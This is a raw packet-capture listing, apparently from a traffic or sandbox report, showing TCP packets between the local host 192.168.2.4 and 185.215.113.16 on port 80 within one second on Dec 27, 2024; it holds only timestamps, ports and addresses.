Dec 27, 2024 09:13:08.284137011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.285001993 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.285109997 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.285176039 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.285629988 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.286096096 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.286151886 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.286225080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.287142992 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.287420988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.287482977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.288233042 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.288302898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.288811922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.289272070 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.289385080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.289434910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.290327072 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.290452003 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.290672064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.291383982 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.291524887 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.291568995 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.292455912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.292584896 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.292907953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.293518066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.293694019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.293762922 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.294611931 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.294701099 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.294763088 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.295641899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.295753956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.295867920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.296710968 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.296804905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.296853065 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.401237965 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.401294947 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.401465893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.401705980 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.401820898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.402359962 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.402801037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.402854919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.402973890 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.403831959 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.403902054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.404534101 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.404930115 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.405020952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.405056953 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.405909061 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.405977964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.406073093 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.406996012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.407097101 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.407135963 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.408055067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.408160925 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.408240080 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.409100056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.409218073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.409261942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.410192966 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.410298109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.410386086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.411226988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.411346912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.411391020 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.412297964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.412420034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.412476063 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.413333893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.413484097 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.413562059 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.414410114 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.414531946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.414578915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.415484905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.415596962 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.415642023 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.416578054 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.416640043 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.417303085 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.417597055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.417716026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.418303967 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.418693066 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.418767929 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.419249058 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.419751883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.419791937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.419863939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.420831919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.420936108 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.421318054 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.421958923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.422101974 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.422139883 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.484119892 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.526398897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.526540041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.526628971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.526897907 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.527004957 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.528150082 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.528203964 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.528537035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.528574944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.529349089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.529414892 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.529535055 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.530147076 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.530221939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.530262947 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.531173944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.531280041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.531534910 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.532252073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.532361984 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.532399893 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.533304930 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.533411026 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.533448935 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.534476995 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.534610987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.534652948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.535474062 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.535552979 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.535861015 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.536511898 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.536663055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.536792040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.537589073 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.537602901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.537651062 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.538620949 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.538687944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.539196014 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.539690018 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.539791107 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.540098906 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.540759087 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.540863991 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.540930986 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.541812897 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.541922092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.541975975 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.542884111 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.542990923 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.543104887 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.543993950 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.544137955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.544193983 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.545030117 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.545146942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.545197010 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.546127081 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.546214104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.546255112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.547166109 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.593727112 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.602333069 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.602438927 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.602489948 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.617119074 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.651695013 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.651818037 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.651878119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.652177095 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.652251005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.652297974 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.653249025 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.653386116 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.654171944 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.654294014 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.654433012 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.655375004 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.655474901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.655504942 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.655522108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.656460047 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.656559944 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.656616926 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.657480955 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.657571077 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.657617092 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.658552885 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.658663034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.659511089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.659626007 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.659790039 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.659835100 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.660708904 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.660794973 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.660835028 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.661752939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.661875963 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.661957979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.662806988 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.662921906 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.662967920 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.663873911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.663975000 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.664275885 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.664937019 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.665050030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.665096998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.665994883 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.666141987 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.666182041 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.667074919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.667186022 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.667227030 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.668139935 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.668225050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.669063091 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.669195890 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.669308901 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.670017004 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.670356035 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.670408964 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.670454979 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.671360016 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.671458960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.671500921 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.672408104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.672496080 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.673261881 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.776684999 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.776758909 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.776890993 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.777214050 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.777287960 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.777658939 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.778229952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.778341055 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.778381109 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.779319048 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.779416084 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.779495955 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.780359030 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.780472040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.780529022 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.781407118 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.781534910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.781594038 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.782475948 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.782589912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.783562899 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.783617973 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.783652067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.783694029 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.784626961 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.784714937 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.785310984 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.785680056 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.785749912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.786747932 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.786791086 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.786854029 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.786901951 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.787836075 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.787924051 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.788908005 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.788949966 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.788978100 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.789019108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.789933920 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.790029049 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.790071011 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.791016102 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.791094065 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.792064905 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.792129040 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.792161942 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.792201996 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.793143034 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.793232918 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.793311119 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.794218063 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.794323921 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.795263052 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.795337915 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.795367002 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.795412064 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.796350956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.796483040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.797321081 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.797395945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.797522068 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.801328897 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.803340912 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.803400040 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.805315971 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.901621103 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.901674986 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.901786089 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.902060032 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.902278900 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.902318001 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.903860092 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.904027939 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.904345036 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.904357910 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.904402018 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.904422998 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.905268908 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.905339956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.905390978 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.906786919 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.906806946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.906892061 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.907367945 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.907491922 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.908436060 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.908495903 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.908566952 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.908725977 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.909519911 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.909610033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.909665108 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.910563946 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.910676956 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.911521912 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.911617041 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.911734104 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.911804914 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.912688017 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.912795067 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.913008928 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.913753033 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.913851023 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.913908958 CET	49743	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:13:08.914848089 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.914940119 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.915896893 CET	80	49743	185.215.113.16	192.168.2.4
Dec 27, 2024 09:13:08.915955067 CET	49743	80	192.168.2.4	185.215.113.16
